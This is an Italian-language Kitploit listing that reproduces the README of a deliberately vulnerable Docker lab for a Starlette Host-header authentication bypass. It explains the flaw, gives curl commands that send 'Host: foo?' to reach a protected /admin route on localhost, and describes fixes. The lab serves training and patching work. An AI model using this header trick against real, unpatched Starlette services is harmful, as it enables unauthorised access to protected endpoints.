Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
starlette-host-header-lab — Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710 | Kitploit
Strumenti/GitHubGitHub/xtremebeing/starlette-host-header-lab
Analisi delle VulnerabilitàSicurezza WebAutenticazioneConfigurazione ErrataApprendimento e FormazioneLab e Pratica
GitHubxtremebeing/starlette-host-header-lab

starlette-host-header-lab

Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
12 mesi faNon ancora revisionato

Starlette Host-Header URL Confusion Lab (X41-2026-002)

Un laboratorio formativo containerizzato e autonomo che riproduce la vulnerabilità di bypass dell'autenticazione in Starlette, divulgata da X41 D-Sec.

  • Advisory: X41-2026-002
  • GHSA: GHSA-86qp-5c8j-p5mr
  • CWE: 436 — Conflitto di interpretazione / Input non attendibile in una chiamata di funzione
  • CVSS: 7.0 (Alto)
  • Affetto: Starlette >= 0.8.3, < 1.0.1 (il laboratorio fissa la versione 0.37.2)
  • Corretto in: Starlette 1.0.1

⚠️ Solo per formazione autorizzata sulla sicurezza. Questa applicazione è deliberatamente vulnerabile. Non distribuirla su alcuna rete raggiungibile.


La vulnerabilità in un paragrafo

Starlette inoltra una richiesta a una rotta usando l'ASGI scope["path"] grezzo, ma ricostruisce request.url formattando l'header Host fornito dal client in "{scheme}://{host}{path}" — senza convalidare l'header Host secondo RFC 9112 §3.2. Poiché i metacaratteri URL (?, /, #) sono permessi così come sono, un attaccante può far sì che il percorso ricostruito differisca da quello instradato (routed). Qualsiasi controllo di sicurezza basato su request.url.path può quindi essere ingannato mentre il router raggiunge ancora il gestore protetto.

Perché il PoC funziona

Il middleware vulnerabile permette la richiesta solo quando request.url.path è / o vuoto:

root@kitploit:~
if request.url.path in ("/", ""):
    return await call_next(request)   # permesso
return PlainTextResponse("Forbidden", status_code=403)

Inviando Host: foo? con GET /admin:

ComponenteValore utilizzato
Router (scope["path"])

Il ? trasforma tutto ciò che segue nella stringa di query, quindi il percorso analizzato è vuoto. L'auth vede un percorso vuoto e lo lascia passare; il router serve comunque /admin. Bypass ottenuto.


Avviare il laboratorio

Richiede Docker + Docker Compose.

root@kitploit:~
docker compose up --build

Vengono avviati due servizi:

ServizioURLComportamento
vulnerablehttp://localhost:8000bypassabile
fixedhttp://localhost:8001mitigato (due modi)

Sfruttarlo

root@kitploit:~
# Bloccato normalmente:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Bypass tramite iniezione dell'header Host:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

Oppure esegui lo script PoC guidato:

root@kitploit:~
./exploit/exploit.sh        # attacca :8000 (riuscito)
./exploit/exploit.sh 8001   # attacca :8001 (fallisce — corretto)

Il gestore vulnerabile di /admin restituisce un corpo JSON che rende visibile la confusione — nota come scope_path e reconstructed_path discordano:

root@kitploit:~
{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

Come è stato risolto

Vedi fixed/fixed_app.py. Due mitigazioni indipendenti:

  1. Usare il valore autorevole. Prendere la decisione di autenticazione su request.scope["path"] — lo stesso percorso grezzo usato dal router — invece di request.url.path ricostruito.
  2. Difesa in profondità. TrustedHostMiddleware rifiuta header Host inaspettati o malformati prima che venga eseguita qualsiasi logica applicativa, rispecchiando ciò che un proxy inverso conforme alle RFC (nginx/Apache) fa a monte.

La correzione nel mondo reale è semplicemente aggiornare a Starlette ≥ 1.0.1, che convalida l'header Host durante la ricostruzione dell'URL.


Spunti di discussione per ingegneri

  1. Dove altro, in uno stack tipico, un valore viene ricostruito da input non attendibile e poi considerato attendibile? (Suggerimento: whitelist SSRF, redirect_uri di OAuth, chiavi cache, link di reset password costruiti dall'Host.)
  2. Perché "bloccare il percorso dannoso" (/admin) è più fragile qui rispetto a "decidere in base all'endpoint instradato"? Cosa succede se l'instradamento è case-insensitive o ha reindirizzamenti con trailing slash?
  3. Questa è una CWE-436 (conflitto di interpretazione). Quali altri bug famosi condividono questa forma? (HTTP request smuggling, bypass di autenticazione per normalizzazione Unicode, lo 0.0.0.0-day.)

File

root@kitploit:~
starlette-host-header-lab/
├── app/vulnerable_app.py   # il servizio deliberatamente vulnerabile
├── fixed/fixed_app.py      # servizio mitigato per confronto
├── exploit/exploit.sh      # proof-of-concept guidato
├── requirements.txt        # fissa Starlette 0.37.2 (vulnerabile)
├── Dockerfile
├── docker-compose.yml
└── README.md
Scarica lo strumento
/admin → invia a admin()
request.urlhttp://foo?/admin
request.url.path"" → supera il controllo di auth ✅